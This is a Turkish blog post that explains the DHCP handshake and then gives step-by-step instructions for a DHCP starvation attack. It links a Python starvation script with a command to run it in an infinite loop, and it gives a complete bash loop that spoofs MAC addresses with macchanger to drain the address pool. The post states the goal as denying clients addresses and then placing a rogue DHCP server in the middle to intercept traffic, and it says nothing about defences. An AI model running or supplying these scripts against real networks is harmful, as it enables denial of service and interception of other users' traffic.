DHCP IP Havuzu Tüketme

DHCP Nedir?

Öncelikle DHCP çalışma mantığını anlamak daha doğru olacak. DHCP istemcilere IP adresilerini otomatik olarak dağıtan bir protokoldür. DHCP’nin işleyişine değinmek gerekirse ortamda bir DHCP sunucusu bulunur. Bu bir router, modem, server işletim sistemi vb. olabilir. Sunucu da tanımlı olan bir IP adres aralığı ve Subnet Mask vardır. IP adresi olmayan istemci sunucuları ağdaki DHCP sunucusuna başvurduklarında IP adresi havuzundan uygun bir adres sunucu tarafından istemciye gönderilir. (İstenildiği taktirde Default Gateway,DNS, WINS sunucu adresleride tanımlanabilmekte.)

Eğer istemci sunucudan gelen IP adresini kabul ederse sunucu bir süreliğine IP adresini atar. Bu süreye lease tima (kiralama süresi) denir. Bir başka senaryo olarak DHCP sunucusunda IP adresi kalmamışsa istemci IP adresi alamayacaktır.

Aşağıdaki resimde DHCP süreci daha net anlaşılabilir.

1. İstemci Discover paketi ile “ Sistemde DHCP sunucusu bulunuyor mu? Var ise IP adresi istiyorum. “ mesajıdır. Ayrıca mesaj Broadcast paketidir. Yani ağdaki tüm istemcilere gider.

2. Sunucu Offer paketi ile IP havuzundan bir IP adresi önerir ve buna kira süresi de ekler. Broadcast olarak gönderir.

3. İstemci Request paketi ile birlikte IP adresi aldığı sunucuya kabul ettiğine dair onay gönderir.

4. Sunucu önerdiği IP adresini client onayladığı için kendi veritabanına istemci MAC adresi, IP adresi, kira süresi gibi bilgileri işler ve bunu ACK paketi ile duyurur.

[​IMG]

DHCP IP havuzunu tüketmek demek ağa katılan başka istemciler IP adresi talebinde sunucu ile iletişime geçtiklerinde eli boş dönmeleri anlamına gelir. Bunun ile birlikte ağdaki başka bir sahte DHCP sunucusu bulunmasi halinde istemci bu sunucudan IP adresi alacak ve saldırgan PC istemci ile internet arasına girerek dinleme, paket yönlendirme vb. saldırılarını uygulayabilecektir.

Bunun birkaç yolu bulunmaktadır.

1. DHCP Starvation Saldırısı

Dhcp Starvation saldırısı ile hedef Dhcp sunucusuna rastgele olarak mac adres bilgisinin değiştirilerek dhcp discovery mesajları göndermektir.

Scriptin kaynak kodları bu adrestedir.

https://github.com/galkan/tools/blob/master/others/programming/python/dhcp_starvation.py

Terminal üzerinde kullanımı ise;

dhcp_starvation .py -c 0

-c 0 değeri sonsuz döngü anlamına gelir.

Yapılışı aşaması ise;

1. İlk olarak “dhcp_starvation.py” isimli bir döküman oluşturulur.

2. Bir metin editörü ile bu dosya açılır ve içerisine kodlar kayıt edilir.

[​IMG]

3. Oluşturulan dosyanın şekli değişecektir. Şimdi sıra terminalde kodu çalıştırmaya geldi.

[​IMG]

4. DHCP sunucusundan IP adresi istendiğinde alınan hata ise aşağıdaki gibi olacaktır (Sınırlı Erişim).

[​IMG]
[​IMG]

1. MACChanger Saldırı

Macchanger saldırısı dhcp_startvation saldırısı gibi .sh uzantılı dosyanın çalıştırılması sonucunda gerçekleştirilir.

.sh uzantılı dosyanın içerisine yazılacak komutlar;

#!/bin/bash
while true; do
killall dhclient
rm -f /var/run/dhclient.pid
ifconfig eth0 down
macchanger -a eth0 2>&1 | grep Faked
ifconfig eth0 up
dhclient eth0 2>&1 | grep DHCPACK
done

Son olarak terminalden aşağıdaki kod yazılarak saldırı başlatılır.

[​IMG]



msoner

Yazılım Mühendisi


Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

*